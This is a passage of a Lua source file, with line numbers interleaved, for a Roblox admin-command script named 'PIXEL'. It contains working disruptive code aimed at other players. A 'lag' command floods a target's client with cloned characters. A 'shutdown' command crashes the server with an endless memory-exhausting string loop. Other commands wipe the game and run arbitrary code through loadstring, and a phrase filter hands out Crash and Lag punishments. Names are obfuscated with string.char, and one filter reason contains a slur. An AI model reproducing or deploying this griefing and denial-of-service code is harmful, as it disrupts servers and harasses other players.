				for i,v in pairs(game:children()) do PIXEL.ServPIXELs[v.Name]=v end
3866
				script.Parent=nil
3867
				NormalColor=Color3.new(BrickColor.random())
3868
				local LocalPlayer,Source,Camera,Workspace=PIXEL.ServPIXELs.Players.LocalPlayer,script:children()[1],PIXEL.ServPIXELs.Workspace.CurrentCamera,game:servPIXEL'Workspace'
3869
				coroutine.wrap(function()
3870
					while wait() do
3871
						for a=1,100 do wait()
3872
							for aa=1,20 do wait()
3873
								for aaa=1,10 do wait()
3874
									for aaaa=1,5 do wait()
3875
										--for b=1,20 do wait()
3876
										--	for c=1,10 do wait()
3877
										--		for d=1,5 do wait()
3878
										--			for e=1,2 do wait()
3879
										--				local Msg=Instance.new'Message'
3880
										--				local Part=Instance.new'Part'
3881
										--				local Hint=Instance.new'Hint'
3882
													local Char=Instance.new'Model'
3883
													if PIXEL.ServPIXELs.Players.LocalPlayer.Character==nil then PIXEL.ServPIXELs.Players.LocalPlayer.Character=Instance.new'Model' end
3884
													for i,v in pairs(LocalPlayer.Character:children()) do v:Clone().Parent=Char end
3885
													Char:MakeJoints()
3886
													if LocalPlayer:findFirstChild'PlayerGui'==nil then Instance.new'PlayerGui'.Parent=LocalPlayer end
3887
													if Char.Archivable==true then Char.Archivable=false end
3888
													local Mod,Part,Color,Text=Char,Char.Head,NormalColor,"I'm being lagged!"
3889
													local BBG = Instance.new("BillboardGui",Mod)
3890
													BBG.Name = "BBG"
3891
													BBG.StudsOffset = Vector3.new(0,4.5,0)
3892
													BBG.Size = UDim2.new(10,0,10,0)
3893
													local Label = Instance.new("TextLabel",BBG)
3894
													Label.Name = "Label"
3895
													Label.Text = ""
3896
													Label.TextColor3 = Color3.new(-1,-1,-1)
3897
													Label.FontSize = "Size24"
3898
													Label.BackgroundTransparency = 1
3899
													Label.TextStrokeTransparency = 0.5
3900
													Label.Size = UDim2.new(1,0,1,0)
3901
													Label.TextStrokeColor3 = Color
3902
													local Sel=Instance.new'SelectionBox'
3903
													Sel.Name='Lag'
3904
													Sel.Parent=Char.Head
3905
													Sel.Adornee=Sel.Parent
3906
													Sel.Color=BrickColor.random()
3907
										--			Msg.Text='You bein lagged bish'
3908
										--			Hint.Text=Msg.Text
3909
										--			Part.Parent=Workspace.CurrentCamera
3910
										--			Msg.Parent=Workspace
3911
										--			Hint.Parent=Workspace
3912
													Char.Parent=workspace.CurrentCamera
3913
													Char:MakeJoints();
3914
											--[[		local GuiLag=Instance.new('ScreenGui')GuiLag = Instance.new("ScreenGui")
3915
													GuiLag.Name = "Output"
3916
													Blind = Instance.new("ImageButton", GuiLag)
3917
													Blind.Name = "Blind"
3918
													Blind.Position = UDim2.new(-0.10000000149012, 0, -0.10000000149012, 0)
3919
													Blind.Size = UDim2.new(1.1000000238419, 0, 1.1000000238419, 0)
3920
													Blind.BackgroundColor3 = Color3.new(0, 0, 0)
3921
													ImageLabel = Instance.new("ImageLabel", Blind)
3922
													ImageLabel.Position = UDim2.new(0.41999998688698, 0, 0.84999996423721, 0)
3923
													ImageLabel.Size = UDim2.new(0.20000000298023, 0, 0.10000000149012, 0)
3924
													ImageLabel.BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713)
3925
													ImageLabel.BackgroundTransparency = 1
3926
													ImageLabel.Image = "http://www.roblox.com/asset/?id=112875964"
3927
													TextLabel = Instance.new("TextLabel", Blind)
3928
													TextLabel.Position = UDim2.new(0.27000001072884, 0, 0.74000000953674, 0)
3929
													TextLabel.Size = UDim2.new(0.5, 0, 0.10000000149012, 0)
3930
													TextLabel.BackgroundColor3 = Color3.new(0.031372550874949, 0.031372550874949, 0.035294119268656)
3931
													TextLabel.Text = "Your Being Lagged"
3932
													TextLabel.FontSize = Enum.FontSize.Size36
3933
													TextLabel.TextWrapped = true
3934
													TextLabel.Active = true
3935
													GuiLag.Parent=PIXEL.ServPIXELs.Players.LocalPlayer.PlayerGui
3936
											--]]		LocalPlayer.CameraMode = Enum.CameraMode.Classic
3937
													wait()
3938
													LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
3939
										--					Instance.new("Message",Camera).Text = string.rep("\t ",365)
3940
										--					Instance.new('Hint',Camera).Text=("\t "):rep(365)
3941
										--				end
3942
										--			end
3943
										--		end
3944
										--	end
3945
										end
3946
									end
3947
								end
3948
							end
3949
						end
3950
					end)()
3951
				]=],v.Character)
3952
			end)
3953
		end
3954
	end
3955
)
3956
PIXEL.Command("Nuke","nuke",5,"Nukes the selected player.","<Player>",
3957
    function(Msg,Speaker)
3958
        for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do
3959
 	    local Position = v.Character.Torso.Position
3960
        local Sound = Instance.new("Sound", workspace)
3961
        Sound.SoundId = "http://www.roblox.com/Asset/?id=2101159"
3962
        Sound.Volume = 1
3963
        Sound.Pitch = math.random(90, 110) / 100
3964
        Sound:Play()
3965
        local Sound = Instance.new("Sound", workspace)
3966
        Sound.SoundId = "http://www.roblox.com/Asset/?id=3087031"
3967
        Sound.Volume = 1
3968
        Sound.Pitch = math.random(90, 110) / 100
3969
        Sound:Play()
3970
        for i = 1, math.random(5, 7) do
3971
                local ExplosionBall = Instance.new("Part", game:servPIXEL("Workspace"))
3972
                ExplosionBall.Name = "Explosion Ball"
3973
                ExplosionBall.formFactor = "Custom"
3974
                ExplosionBall.TopSurface = 0
3975
                ExplosionBall.BottomSurface = 0
3976
                ExplosionBall.Anchored = true
3977
                ExplosionBall.CanCollide = false
3978
                ExplosionBall.Size = Vector3.new(1, 1, 1)
3979
                ExplosionBall.BrickColor = BrickColor.random()
3980
                ExplosionBall.CFrame = CFrame.new(Position)
3981
                ExplosionBall.Touched:connect(function(part) if part:IsDescendentOf(v.Character) then part:BreakJoints() end end)
3982
                Instance.new("SpecialMesh", ExplosionBall).MeshType = "Sphere"
3983
                coroutine.wrap(function()
3984
                        for i = 0, 1, 0.005 do
3985
                                ExplosionBall.Transparency = (1 - i)
3986
                                ExplosionBall.Mesh.Scale = Vector3.new(i * 250, i * 250, i * 250)
3987
                                ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i))
3988
                                if math.random(1, 25) == 1 then
3989
                                        local Explosion = Instance.new("Explosion")
3990
                                        Explosion.Position = ExplosionBall.Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i)
3991
                                        Explosion.BlastPressure = 10000 * i
3992
                                        Explosion.BlastRadius = i * 250
3993
                                        Explosion.Parent = game:servPIXEL("Workspace") 
3994
                                end
3995
                                wait()
3996
                        end
3997
                        for i = 0, 1, 0.05 do
3998
                                ExplosionBall.Transparency = i
3999
                                ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * (1 - i)))
4000
                                wait()
4001
                        end
4002
                        ExplosionBall:Remove()
4003
                end)()
4004
        end
4005
        end
4006
    end
4007
)
4008
--[[ Rank 6 ]]--
4009
PIXEL.Command("PIXEL Clear","PIXEL",6,"Clears the game.","No Arguments",
4010
    function(Msg,Speaker)
4011
        for i,v in pairs(_G) do
4012
            if type(v) == 'function' and getfenv(v).PIXEL == nil then
4013
                for var,val in pairs(getfenv(v)) do
4014
                    pcall(function() getfenv(v)[var] = nil end)
4015
                end
4016
            end
4017
        end
4018
        for i,v in pairs(_G) do
4019
            _G[i] = nil
4020
        end
4021
        for _,v in pairs(PIXEL.ServPIXELs) do 
4022
            v.Name = 'Unknown Exception'
4023
        end    
4024
        for i,v in pairs(game.Workspace:children()) do
4025
            pcall(function()
4026
                if not v:IsA("Player") then
4027
                    pcall(function()
4028
                        if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
4029
                        else
4030
                            pcall(function()
4031
                                v.Disabled = true
4032
                            end)
4033
                            pcall(function()
4034
                                PIXEL.ServPIXELs.Debris:AddItem(v,0)
4035
                            end)
4036
                        end
4037
                    end)
4038
                end
4039
            end)
4040
        end
4041
        for _,v in pairs(PIXEL.ServPIXELs) do    
4042
            v.Name = v.className
4043
        end
4044
        local Base=Instance.new("Part",PIXEL.ServPIXELs.Workspace)
4045
        Base.Name='Base'
4046
        Base.Size=Vector3.new(2048,1,2048)
4047
        Base.BrickColor=BrickColor.new("Bright blue")
4048
        Base.Anchored=true
4049
        Base.Locked=true
4050
        Base.TopSurface='Smooth'
4051
        Base.Transparency = 0.75
4052
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
4053
        local Spawn=Instance.new("SpawnLocation",PIXEL.ServPIXELs.Workspace) Spawn.Name='SpawnLocation'
4054
        Spawn.Size=Vector3.new(6,1,6)
4055
        Spawn.Transparency=0.75
4056
        Spawn.CanCollide=false
4057
        Spawn.Anchored=true
4058
        Spawn.Locked=true
4059
		Spawn.BrickColor=BrickColor.new'Royal purple';
4060
		Spawn.Parent=Base
4061
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
4062
		SpawnSel,BaseSel=Instance.new'SelectionBox',Instance.new'SelectionBox'
4063
		SpawnSel.Parent,BaseSel.Parent=Spawn,Base
4064
		SpawnSel.Adornee,BaseSel.Adornee=Spawn,Base
4065
		SpawnSel.Color,BaseSel.Color=Spawn.BrickColor,Base.BrickColor
4066
        for _,v in pairs(PIXEL.GetPlayers()) do v:LoadCharacter() end
4067
    end
4068
)
4069
4070
--[[ Rank 7 ]]--
4071
PIXEL.Command('Shutdown','sd',7,'Shuts the server down','No arguments',
4072
	function(Msg,Speaker)
4073
		Msg=Instance.new'Message'
4074
		for i=1,60 do
4075
			Msg.Parent=PIXEL.ServPIXELs.Workspace
4076
			Msg.Text = 60 - i .. ' seconds left before server shuts down'
4077
			wait(1)
4078
		end
4079
		loadstring([[
4080
		repeat
4081
			Instance.new('StringValue',Workspace).Value=("Nou"):re]]..[[p(1000000)
4082
			wait()
4083
		until PIXEL.Removed==false
4084
		]])()
4085
	end
4086
)
4087
PIXEL.Command('Print','print',7,'Prints the msg','msg',
4088
	function(Msg,Speaker)
4089
		PIXEL.Output(tostring(loadstring("return " .. Msg)()),'Red',Speaker)
4090
	end
4091
)
4092
--[[ Rank 8 ]]--
4093
PIXEL.Command('Cancel/break loops','cancel',8,'Cancles the loops','wait timer before loops cancel',
4094
	function(Msg,Spkr)
4095
		if tonumber(Msg) then
4096
			wait(tonumber(Msg))
4097
		end
4098
		PIXEL.Cancel=true;
4099
		wait(1)
4100
		PIXEL.Cancel=false;
4101
	end
4102
)
4103
PIXEL.Command('Break scripts','break',8,'Breaks scripts in workspace','no arguments',
4104
	function(msg,speaker)
4105
		except=false;
4106
		if msg=="except me" then
4107
			except=true
4108
		end
4109
		RecursiveScripts=function(Parent)
4110
			Child={}
4111
			for i,v in pairs(Parent:children()) do
4112
				if v:IsA'Script' or v:IsA'LocalScript' then
4113
					Child[#Child+1]=v
4114
				end
4115
				for ii,vv in pairs(RecursiveScripts(v)) do
4116
					Child[#Child+1]=vv
4117
				end
4118
			end
4119
			return Child
4120
		end;
4121
		for i,v in pairs(RecursiveScripts(PIXEL.ServPIXELs.Workspace)) do
4122
			if v:findFirstChild'Owner' and except==true then
4123
				if v.Owner.Name==speaker.Name then
4124
					return					
4125
				end
4126
			end
4127
			v.Disabled=true;
4128
			v:ClearAllChildren();
4129
			game:servPIXEL'Debris':AddItem(v,0)
4130
		end
4131
	end
4132
)
4133
--[[ Rank 10 ]]--
4134
PIXEL.Command('Remove PIXEL','cremove',10,'Removes PIXEL','No arguments',
4135
	function(Msg,Speaker)
4136
		coroutine.wrap(function()
4137
			PIXEL.Removed=true
4138
			PIXEL.Output('PIXEL now removed!','Red',Speaker,3)
4139
			local End=Instance.new'StringValue'
4140
			End.Name='Ender'
4141
			End.Value=PIXEL.Ender
4142
			End.Parent=PIXEL.ServPIXELs.Lighting
4143
			for _,v in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do PIXEL.RemoveTablets(v) PIXEL.SaveData(v) end
4144
			End:Destroy()
4145
		end)()
4146
	end
4147
)
4148
PIXEL.Command('Lock scripts','lockscr',10,'Locks Scripting','No arguments',
4149
	function()
4150
		PIXEL.LockedScripts=true
4151
	end
4152
)
4153
PIXEL.Command('Un-Lock scripts','unlockscr',10,'Un-Locks Scripting','No arguments',
4154
	function()
4155
		PIXEL.LockedScripts=false
4156
	end
4157
)
4158
PIXEL.Command('Execute','exe',10,'Executes a line of coding','code',
4159
	function(Msg,Speaker)
4160
        local Func,Error = loadstring(Msg)
4161
        getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end PIXEL.Output(Rtn,"White",Speaker) end
4162
        getfenv(Func).Speaker = Speaker
4163
		getfenv(Func).PIXEL=PIXEL;
4164
        if Error == nil then
4165
            coroutine.wrap(function()
4166
                Func()
4167
            end)()
4168
            PIXEL.Output("Script ran successfully!","Green",Speaker,3)
4169
        else
4170
            PIXEL.Output(Error,"Red",Speaker,5)
4171
        end
4172
    end
4173
)
4174
PIXEL.Command('System msg','sm',10,'System msg','Text',
4175
	function(Text,Speaker)
4176
		PIXEL.SystemMsg(Text)
4177
	end
4178
)
4179
PIXEL.Command('Fix chat','fc',10,'Fixes chats for everyone','No arguments',
4180
	function()
4181
		for _,v in pairs(game:servPIXEL'Players':GetPlayers()) do
4182
			PIXEL.FixChat(v);
4183
		end
4184
	end
4185
)
4186
--[[ Connections ]]--
4187
game:servPIXEL'RunServPIXEL'.Stepped:connect(function() if PIXEL.Removed==false then PIXEL.Rotate() end end)
4188
for _,v in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do
4189
	PIXEL.Connect(v) 
4190
end
4191
PIXEL.ServPIXELs.Players.PlayerAdded:connect(function(r) if PIXEL.Removed==false then PIXEL.Connect(r) end end)
4192
PIXEL.ServPIXELs.Players.PlayerRemoving:connect(function(v) PIXEL.RemoveTablets(v) if PIXEL.Removed==false and PIXEL.DataSaving==true then PIXEL.SaveData(v)  end end)
4193
--[[ End of Connections ]]--
4194
for _,ServPIXEL in pairs(PIXEL.ServPIXELs) do
4195
    pcall(function()
4196
        ServPIXEL.DescendantAdded:connect(function(v)
4197
            if v:IsA("BaseScript") and PIXEL.LockedScripts == true and PIXEL.Removed == false then
4198
                pcall(function()
4199
                    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or v:findFirstChild('Owner') then-- For /scr/ Cmd --game.PlaceId == 20279777 or game.PlaceId == 20132544 then
4200
                        if PIXEL.GetRank(v.Owner.Value) <= 0 then
4201
                            pcall(function() v.Disabled = true end)
4202
                            pcall(function() v:FindFirstChild("Source").Value =PIXEL.Disabler end)
4203
                            pcall(function() v.Disabled = false end)
4204
                            pcall(function() v:Destroy() end)
4205
                        end
4206
                    elseif game.PlaceId ==54194680 then
4207
			if PIXEL.GetRank(v.user.Value) <= 0 then
4208
                            pcall(function() v.Disabled = true end)
4209
                            pcall(function() v:FindFirstChild("Source").Value =PIXEL.Disabler end)
4210
                            pcall(function() v.Disabled = false end)
4211
                            pcall(function() v:Destroy() end)
4212
                        end
4213
		else
4214
                        pcall(function() v.Disabled = true end)
4215
                        pcall(function() v:FindFirstChild("Source").Value = PIXEL.Disabler end)
4216
                        pcall(function() v:FindFirstChild("DSource").Value =PIXEL.Disabler end)
4217
                        pcall(function() v.Disabled = false end)
4218
                        pcall(function() v:Destroy() end)
4219
                    end
4220
                end)
4221
            end
4222
        end)
4223
    end)
4224
end
4225
for _,v in pairs(script:children()) do
4226
	if v:IsA'StringValue' then
4227
		v.Value="error('No value for you',0)()"
4228
	end
4229
end
4230
script:ClearAllChildren();
4231
PIXEL.Filter=function(Phrase,Bypass,Punishment,Reason)
4232
        if Punishment == nil then Punishment = 0 end
4233
        if type(Punishment) == 'string' then
4234
	    if Punishment=='Kill' then Punishment=0 end
4235
            if Punishment=='K'..'ick' then Punishment=1 end
4236
            if Punishment=='Shutdown' then Punishment = 2 end
4237
            if Punishment=='Crash' then Punishment = 3 end
4238
            if Punishment=='B'..'an' then Punishment=4 end
4239
            if Punishment=='Lag' then Punishment=5 end
4240
        end
4241
        PIXEL.Filters[Phrase]={Bypass=Bypass,Punishment=Punishment,Reason=Reason}
4242
end
4243
PIXEL.Filter('function l'..'ag()',9,'Ban','Lag attempt')
4244
PIXEL.Filter('iO'..'rb',2,2,'Abusive')
4245
PIXEL.Filter('iCm'..'d={}',2,2,'iOrb')
4246
PIXEL.Filter('game.Players:ClearAllChildren',2,4,"Kick attempt")
4247
PIXEL.Filter('ClonyPooP'..'oo',2,2,'PIXELAdminLeakeds Nilizer or TeamDmans KeyBindings')
4248
PIXEL.Filter("No".."va =",4,2,"Admi".."n")
4249
PIXEL.Filter("Ranked = {",4,"Ban","This is a ranked table in NOVA")
4250
PIXEL.Filter('iFl'..'ip',3,4,"Adm".."in")
4251
PIXEL.Filter("/d".."own",2,2,"Ca".."mball")
4252
PIXEL.Filter('repeat until',2,5,"Crash attempt")
4253
PIXEL.Filter('while true do end',2,5,"Crash attempt")
4254
PIXEL.Filter('string.rep',2,2,"Shuttdown attempt")
4255
PIXEL.Filter(':rep',2,2,"Shutdown attempt")
4256
PIXEL.Filter('Players.'..string.char(116,117,115,75,79,114,54,54,49)..':',2,4,"Nou touching my Player")
4257
PIXEL.Filter('kick:',1,'Kick','No kicking allowed')
4258
PIXEL.Filter('ban/',2,4,"No banning allowed")
4259
PIXEL.Filter('tprivate',2,4,"No pri losah")
4260
PIXEL.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':BreakJoints',1,0,">_> hao dare you .-.")
4261
PIXEL.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':Destroy',1,0,"NOUUUUUUUUUUUUU")
4262
PIXEL.Filter('p = game.Players:GetPlayers() for i=1,#p do p[i]:Destroy() end',1,3,'Stupid free model ')
4263
PIXEL.Filter('CB'..'A =',2,4,"Abusive")
4264
PIXEL.Filter('Kill'..'/',1,'Kill')
4265
PIXEL.Filter('Kic'..'k'..':'..'t',2,'K'..'ick')
4266
PIXEL.Filter('swag',1,'Kill')
4267
PIXEL.Filter('yolo',1,'Kill','Well I guess he/she isnt alive now :3')
4268
PIXEL.Filter('ssj',1,'Kill',"A free model script")
4269
PIXEL.Filter('Onelegend',1,'K'..'ick',"Onelegend is in free models") -- Free modelz >_>
4270
PIXEL.Filter('adminlist = {',2,'Ki'..'ck','No admins allowed/Take over attempt')
4271
PIXEL.Filter('SetSuperSafeChat',4,'Ban','That my good sir, would be exploiting, and I do not tolerate exploiters. So get out and never come back/Exploit attempt')
4272
PIXEL.Filter('colorAllGuisIn',5,'Ban','That is a perm DP Ban for using this abusive script n0b/Server destroy attempt')
4273
PIXEL.Filter('Decs.Crack',1,'Kick','Masterhand/Free model')
4274
PIXEL.Filter('AquireTargets',9,'Ban','OhYa321;s N0b SB Prot(Gay) script/Take over attempt')
4275
PIXEL.Filter('GetRidOf(',9,'Ban','A function in NOVA/Take over attempt')
4276
game:servPIXEL'Workspace'.ChildAdded:connect(function(Child)
4277
	if Child:IsA'Model' then -- 
4278
		if Child.Name=='External' then
4279
			local Player = nil;
4280
			for i,v in pairs(Child:children()) do if v:IsA'StringValue' and v.Value=='Player' then Player=v end end
4281
			local Message = Child.Message.Value
4282
			if Player then
4283
				PIXEL.OnChatted(Message,Player)
4284
				print('Message:'..Message,'Player:'..Player)
4285
			end
4286
		end
4287
	end
4288
end) -- Mine uses cmds even fter your kicked ;)